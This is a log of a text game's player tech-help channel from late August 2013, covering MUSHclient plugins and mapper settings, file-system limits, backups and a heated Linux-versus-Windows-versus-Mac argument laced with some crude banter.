T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: make a spreadsheet
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Grumphling Tech: or you can look most things up on duckbat.com
T3/r7/2013-08-28.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Thanks Abelinc , I'll check it out
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Grumphling Tech: among others
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: you can't look up your current gear
T3/r7/2013-08-28.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: why not?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: because your current gear shouldn't be on duckbat...if it is, you're doin' it wrong
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: the raw/stock version of it will be on duckbat, you shouldn't be wearing raw gear
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Faylen Tech: one other question. If I give someone my map database, will that include all of my portal settings, or are those in a separate db?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: so to compare your 41 set to your 71 set, you'd want something of your own, not duckbat or other stock repository
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: it'll include everything for the mapper, but not aliases which you may have made in MUSHclient
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Faylen Tech: ok
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Faylen Tech: thanks
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: so if you have a "use a portal" alias, the mapper file will have a "call" to that alias, but the alias won't exist
T3/r7/2013-08-28.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: ok ty yall, I'll try google docs
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: another thing to consider, faylen, is whether you use itemIDs or keywords
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Faylen Tech: I use ids, which is why I asked. I'll just have her clear all portals
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Faylen Tech: it's the aardwolf.db file in the main mush directory, is that right?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Faylen Tech: Been several months since I tried to do all this, heh
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: yes, whenever you forget, an easy way to remind is to go to aard's main website, click the screenshot, click download client...that page actually tells you where different stuff is stored
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: since migrating it from an older to a newer download is the same as handing to a friend
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Faylen Tech: Oh, good point.
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Altere Tech: invitem was part of a script but I forgot which one and how to fix it>
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Faylen Tech: Alright, I have another mush question, this one for the people good with plugins and such... So I have one plugin that contains a function that two other plugins need to use. Currently the other two plugins use execute to call the function, but that's creating problems. Is there a better way to do this?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Faylen Tech: I didn't write the plugins, just trying to debug issues
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Bast Tech: who wrote the plugins? and what are the "issues"?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Faylen Tech: They're plugins that help with reading specific text. The mushreader plugin is the one that contains the needed function. The other two have hotkeys that read specific lines by calling that mushreader function via Execute... But, the problem is, if the line being read contains a semicolon, it gets snagged by the Execute call and results in random commands being sent to the mud
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Faylen Tech: And the person who wrote the plugins isn't a player here or anyone I know how to get in touch with. No contact info, just a website where I got them
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Bast Tech: change the Execute to CallPlugin and just call the function directly from the plugin instead of going through the command interpreter
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Faylen Tech: aha, perfect. I'll look that up to see how it works, I just needed a starting point. Thank you very much
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Bast Tech: no problem
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Authentic Tech: my map is stuck under my bar and i cant drag it down help!!
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Faylen Tech: Yay, that seems to have fixed a long standing very annoying issue. Thanks again, Bast
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Kaltas Tech: Fun fact: Mush loaded none of the miniwins it usually loads. I don't know what to do and I'd rather not uninstall then reinstall if possible.
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Redryn Tech: restart?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Kaltas Tech: Considering that, wanted to make sure I got all solutions first. Let me try that real quick.
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Kaltas Tech: Huh. Was there an update that caused the Health/Mana/Moves bar to convert the segements to full bars with the numbers associated with them, or another side effect of wonky computer antics?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Kaltas Tech: I don't mind it, but it's kinda a surprise.
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Leinei Tech: right-click on the bars.  You can change all those options
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Leinei Tech: Well, on the names of the bars
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Kaltas Tech: I don't actually know why it's doing it, though. Like I said, I don't mind it. It's different.
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Redryn Tech: i suspect your config file or something was lost/corrupted somehow and all your settings are back to default
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Kaltas Tech: This is default? Huh. I thought the segemented bars were. This is interesting.
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Jheavren Tech: how do i get main window to be sizable again?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: is the frame for all of MUSHclient not in view?
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Jheavren Tech: i can't adjust the size
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Jheavren Tech: so my plugin windows over lap the game text
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: right...is that the size of the entire MUSHclient window, or just the "main MUD output" part of that window...
T3/r7/2013-08-28.txt.gz:{chan ch=tech}Tech: and if the main MUSHclient window, can you see/put mouse on the top titlebar, or is the issue that it's offscreen?
T3/r7/2013-08-29.txt.gz:{chan ch=tech}Transcript Tech: which websites help test regex matches quicky/ and for learning regex matches
T3/r7/2013-08-29.txt.gz:{chan ch=tech}Transcript Tech: where can i find a tutorial on regex
T3/r7/2013-08-29.txt.gz:{chan ch=tech}Ayasinda Tech: www.regular-expressions.info/tutorial.html
T3/r7/2013-08-29.txt.gz:{chan ch=tech}HelperMan Hadar Tech: with mush if i have something that is set to send to script, how can i send something to the world from in that?
T3/r7/2013-08-29.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Send("this gets sent to the mud")
T3/r7/2013-08-29.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: or SendNoEcho("this does as well")
T3/r7/2013-08-29.txt.gz:{chan ch=tech}HelperMan Hadar Tech: thanks thats what i thought but was not 100% sure
T3/r7/2013-08-29.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Keep in mind that sending to the MUD won't give aliases a chance to match
T3/r7/2013-08-29.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: for that you need Execute("xx")
T3/r7/2013-08-29.txt.gz:{chan ch=tech}Leinei Tech: Am I the only one that postpones windows updates restarts 4 hours at a time for like 6 days?
T3/r7/2013-08-29.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: nope
T3/r7/2013-08-29.txt.gz:{chan ch=tech}Qaebl Tech: no I postponed it for 2 weeks until it forcibly restarted 
T3/r7/2013-08-29.txt.gz:{chan ch=tech}Quadrapus Tech: same here, depending no the computer
T3/r7/2013-08-29.txt.gz:{chan ch=tech}Flach Tech: They get pissed when I do that with my computer at work :P
T3/r7/2013-08-29.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I have been snoozing AVG restart for last week or two
T3/r7/2013-08-29.txt.gz:{chan ch=tech}Qaebl Tech: several times
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Raun Tech: how do i set up the autohunt plugin to open up doors if they are closed?
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Raun Tech: i am using the winklewinkle S&D plugin for autohunt. How do i fix it so that it will automatically try to open up closed doors?
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Mr. Dash Tech: has nothing to do with those plugins. it is the mapper path
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Raun Tech: is there a way i can fix it so that it will automatically try to open up closed doors when i use autohunt?
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Mr. Dash Tech: it is kludgy, but you can go to the room preceding the room with the door and add a custom exit to that room that is move; open direction; move
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Mr. Dash Tech: it will be the "shorter" path because it will link that room to the room after the door and use that to go through the door
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Raun Tech: hmmm
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Raun Tech: so basically depending on where the autohunter takes me i would have to find every possible way that i could come from to get to the door, fix the code and then see if that works?
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Mr. Dash Tech: the solution has nothing to do with autohunt or changing code. it is adding a custom exit to a room that does the action you want via command stacking
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Mr. Dash Tech: mapper help cexits
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Mr. Dash Tech: mapper help exits that is
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Quadrapus Tech: MUSH needs you to add custom exits to open doors in the mapper?
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Quadrapus Tech: Sorry, I dont use it, just curious
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tech: Vexthorne rapidly nods twice at Quadrapus, in complete agreement.
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Mr. Dash Tech: you can do that if you can't pass through the door, quad
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Quadrapus Tech: gotchya
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Raun Tech: where do i go to post runtime errors so i can try to fix it?
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: someone explain this. File i want to copy is 4,589,824Kb, the pen drive has 5,529,747Kb free. It won't copy citing insufficient space. WTF?
T3/r7/2013-08-30.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: because its fat32
T3/r7/2013-08-30.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: format it to something else
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: can't
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: got stuff on it
T3/r7/2013-08-30.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: move it to your HD then... then back
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: can't, insufficient space
T3/r7/2013-08-30.txt.gz:{chan ch=tech}RedRain Tech: buy a bigger thumdrive
T3/r7/2013-08-30.txt.gz:{chan ch=tech}StarsOscar Tech: use zip and write the file in parts
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: apparently there's a conversion tool that doesn't require any of this
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: i blame MAC, if MAC didn't exist, they'd be formatted to NTFS out of the box
T3/r7/2013-08-30.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: should always format to ntfs anyways
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Qaebl Tech: heh you should always format to ext4 lol
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: yes, because windows XP supports ext4
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: gave up copying in the end, stupid computers
T3/r7/2013-08-30.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: you really cant move whats on the drive to your HD format it then move it all back?
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: nope, and it's now NTFS, but copying it basically crashed every running program on the computer and claimed was going to take 5 hours to complete, so gave up
T3/r7/2013-08-30.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: is it usb 1.0 or something?
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: nope, 2
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: just the average technological shittiness
T3/r7/2013-08-30.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: it's why I got a usb 3.0 drive for copying 1080p movies
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: usb3 is not supported by xp
T3/r7/2013-08-30.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: should not use xp....
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: don't go there
T3/r7/2013-08-30.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: whats the reason to anyways?
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: reason to what?
T3/r7/2013-08-30.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: use xp...
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: because all of my software works on it
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: i'm leaving changing to a unix flavour until the last possible minute because of the huge amount of hassle it's going to cause
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: it isn't the last minute yet
T3/r7/2013-08-30.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: i think you mean your leaving switching to *nix till the last possible minute because your scared of the freedom it will bring you.
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: err no, it's having to replace all my software and relearn it
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: along with the "roll a dice to see if the hardware is supported"
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Qaebl Tech: no dice need to be rolled just post to lkml 
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Qaebl Tech: I'm sure BSD has similar lists
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Qaebl Tech: IRC is also a great help for that sort of thing.
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: it's also a great place for catching rabides
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: you should be glad that it's part of the plan and not just sticking windows 7 on it
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: when you get to old age like me your mind because less flexible in regards to learning new stuff
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: you then bitch and moan about everything and ask why it can't just work like it used to
T3/r7/2013-08-30.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: heh
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Qaebl Tech: wait you actually expect it to work?
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Qaebl Tech: what's that?
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: it would be nice
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: xp running in a virtual machine should allow me to continue to use some of the more ancient stuff like zmud and paintshop pro
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: some of my games might be an issue
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: my tv card will basically be screwed
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: if i can find an old copy of thunderbird, that'll do for email
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: i could probably muddle through on openoffice, though it'll make me look gay
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: visio i guess i could run in a vm
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Qaebl Tech: better openoffice than openorifice i guess
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: dvdflick will be an issue
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: cisco vpn will be a major problem
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: zmud runs just fine with w7
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: guitar hero will also be a major problem
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: how is VM getting on on *nix, does it allow the use of native gfx and sfx hardware acceleration yet?
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: google is pain in the arse, btw
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: zmud and *nix, dagnir, btw
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: not interested in Microsoft OS
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: go for osx then. linux desktop sucks hard
T3/r7/2013-08-30.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Heh
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: err no
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: people who say otherwise have the stockholm syndrome
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Unity is awesome, wtf is wrong with you?
T3/r7/2013-08-30.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I don't really like it. Kind of used to it, but not a fan.
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: why not? osx is *nix and has great hardware support. not to mention a ton of (working) applications
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: osx is nix, but you need to accept Apple up your back end
T3/r7/2013-08-30.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I am not talking about OS X. I'm not going to splash out that kind of cash for a glorified Linux box.
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: that's the price you pay for a working os
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: i'm not inviting Apple into my life
T3/r7/2013-08-30.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Talk about Stockholm Syndrome... ;)
T3/r7/2013-08-30.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I was objecting to Unity.
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: i'm not inviting Apple into my life, and i'm inviting Microsoft to leave
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: be more pragmatic. you complain about the features you don't like, demand some you don't have and in the end reject the most optimal solution
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: that comment is little more than shit-stirring
T3/r7/2013-08-30.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I'm happy letting Google in, for Apple my main objection was always and still continues to be the cost.
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: if you want a nix that has good hardware support and doesn't blow as a desktop you're only left with apple
T3/r7/2013-08-30.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Define blow.
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: it doesn't need to have a good desktop, only needs to meet my needs
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: you know, sucking a bag of dongs
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Not hearing any arguments against Ubuntu's Unity desktop...
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: talking about terrible UX
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: a few good ideas, terrible implementation
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: i don't care if the UI looks like windows 98
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Terrible implementation? Details, please, I have had zero issues with it
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: well, the early versions locked out some features because someone forgot to include menus to access them
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: i don't think "works with my existing hardware and has a decent vm capability" along with offering decent security is asking too much of an os
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: ah, existing hardware
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Your argument is whining about earlier versions? Sounds legit
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: yeah, yeah, i know
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it still sucks tho
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You can download Ubuntu and Unity for free and try it in a minute +/- your download speed
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: don't get me wrong - i'm running more linux machines than most people here, but linux desktop just sucks
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: <3 the server capabilities
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You keep making that argument without actually making an argument for that argument
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: sucks is better than M$ and Apple raping you
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: how is ms raping me?
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: maybe i, too, have the stockholm syndrome? :P
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: you do, but then, you have nothing to hide, therefore you have nothing to fear
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I will admit that pre-Unity, every Linux desktop I tried lasted a couple of minutes before it was a glorified terminal launcher, but Unity is seriously awesome.
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: (or possibly you have no principles)
T3/r7/2013-08-30.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Vakieh: I don't know how to get Super out of the way - I want to use it in my shortcuts, not launch the Lenses or whatever.
T3/r7/2013-08-30.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: And I set Super-PgUp / Super-PgDown as volume up/down before to imitate my laptop keyboard.
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: for me, w7 (with a few modifications) has the best desktop UX so far
T3/r7/2013-08-30.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: But now and then those shortcuts needed to be reset.
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: but i'd probably prefer gnome over xp shell nowdays
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Hrm, never fiddled with that myself, but it sounds like the answer might be here: http://ubuntuforums.org/showthread.php?t=1607803
T3/r7/2013-08-30.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I'm also used to being able to switch windows with Alt-Tab.
T3/r7/2013-08-30.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Sometimes I have to Tab twice - the first press calls up the switcher, then the second is to switch windows.
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: when M$ stop collecting user data and providing governments with backdoors to all your supposedly private data, I might consider them. When Apple stops doing likewise and starts paying some tax, I might consider them. In the meantime i'm voting with my $
T3/r7/2013-08-30.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Sometimes I just want to Alt-Tab and continue typing in the window which I expect to be in.
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I installed something to change that, now just have to work out what it was :-P
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: This sounds familiar http://askubuntu.com/questions/45821/simpler-alt-tab-in-unity
T3/r7/2013-08-30.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Evidently you have bothered enough to work through some of it. I just plough on :P
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Whenever I get a new device or OS or w/e, I spend about 2 weeks applying percussive maintenance until it's the way I like it. Then occasionally get confused when people say 'but it does xyz instead?' :-P
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Like when multiple people told me you couldn't change the lock window text on an S4...
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Managed to get one of them changed to 'Suck it, B...' and he believed I had hacked his phone
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: they told me you couldn't run 80 column mode on a commodore 64 or get more than 16 colours....
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I thought a C64 was blackgreen monochrome... then again I have only seen one on Strongbad, so there's that.
T3/r7/2013-08-30.txt.gz:{chan ch=tech}RedRain Tech: nope 16 bit colour
T3/r7/2013-08-30.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Percussive maintenance, sounds nice :P
T3/r7/2013-08-30.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Percsonalisation?
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It opens the Task Manager or it gets the wrench again
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tigernuts Tech: not 16 bit colour, 16 colours
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Sepulchure Tech: how do I switch off spellcheck on Mush again?
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Turie Tech: file>global preference> General Tab (at the bottom Spell Check)
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Sepulchure Tech: thanks
T3/r7/2013-08-30.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: does any one know how to delete multiple rows in office spread sheet? 
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Vost Tech: in Microsoft Excel?
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Turie Tech: Highlight and click delete
T3/r7/2013-08-30.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: office suite for android
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Vost Tech: use CTRL and click
T3/r7/2013-08-30.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: it looks the same as pc
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Vost Tech: use CTRL and click to highlight all of the rows
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Vost Tech: then right click and delete
T3/r7/2013-08-30.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Thanks allot!! I need to free up rows
T3/r7/2013-08-30.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: whats it called when you move your mouse to some button and a text appears in a bubble?
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Alcor Tech: tooltip, iirc
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Xantcha Tech: a tooltip?
T3/r7/2013-08-30.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: thanks
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Jeejee Tech: does anyone have working plugin what is on this page? http://www.gammon.com.au/forum/bbshowpost.php?id=9681
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Turie Tech: Nope.
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Turie Tech: You can just type scan
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Jeejee Tech: nods
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Tormat Tech: what clients do people tend to use?
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Turie Tech: type clients
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Orrus Tech: is somethng up with server. took me like five times to connect
T3/r7/2013-08-30.txt.gz:{chan ch=tech}RedRain Tech: not that I notice
T3/r7/2013-08-30.txt.gz:{chan ch=tech}HelperMan Hadar Tech: it might have been a bad relay between you/server
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Orrus Tech: ok
T3/r7/2013-08-30.txt.gz:{chan ch=tech}HelperMan Hadar Tech: with an android, if i use titanium backup and i flash a new rom, when i go reinstall titanium backup all my stuff will still be there right?
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Ranrr Tech: Personally, I'd never trust a backup I cannot verify and have full control over, so I'd make another backup as well before the reinstall.
T3/r7/2013-08-30.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i was thinking it stored them on the SD card, once my backup is done im going to verify that
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Ranrr Tech: To be really sure, the rule of thumb is to have your data in 3 places... but it depends on how important the data is :D
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Ranrr Tech: So maybe make a backup to a PC too
T3/r7/2013-08-30.txt.gz:{chan ch=tech}HelperMan Hadar Tech: most of it is downloadable apks from the market, that im to lazy to download them all again
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Ranrr Tech: oic, well, then 2 backups should be enough
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Sampolapelil Tech: how do you toggle to get tells on the main window, but nothing else
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Doc Holliday Tech: using aardmush?
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Sampolapelil Tech: yes
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Doc Holliday Tech: i think by right clicking the communication window -> click "echo channels in main window" -> then custom
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Doc Holliday Tech: that should do it for you
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Sampolapelil Tech: yep that did it, thank!!!
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Doc Holliday Tech: no problem
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Vexthorne Tech: THanks for the conversation about echo in mush, didn't realize I could change what showed up there :)
T3/r7/2013-08-30.txt.gz:{chan ch=tech}Ranrr Tech: Anyone tested chromecast? Is it any good?
T3/r7/2013-08-31.txt.gz:{chan ch=tech}O.G. Accora Tech: TECH SUPPORT!  Need help pls
T3/r7/2013-08-31.txt.gz:{chan ch=tech}O.G. Accora Tech: Sometimes, all of my USB devices stop working for like...15 seconds.
T3/r7/2013-08-31.txt.gz:{chan ch=tech}O.G. Accora Tech: Then they act like they were just plugged in, and work, no big deal.  wtf?
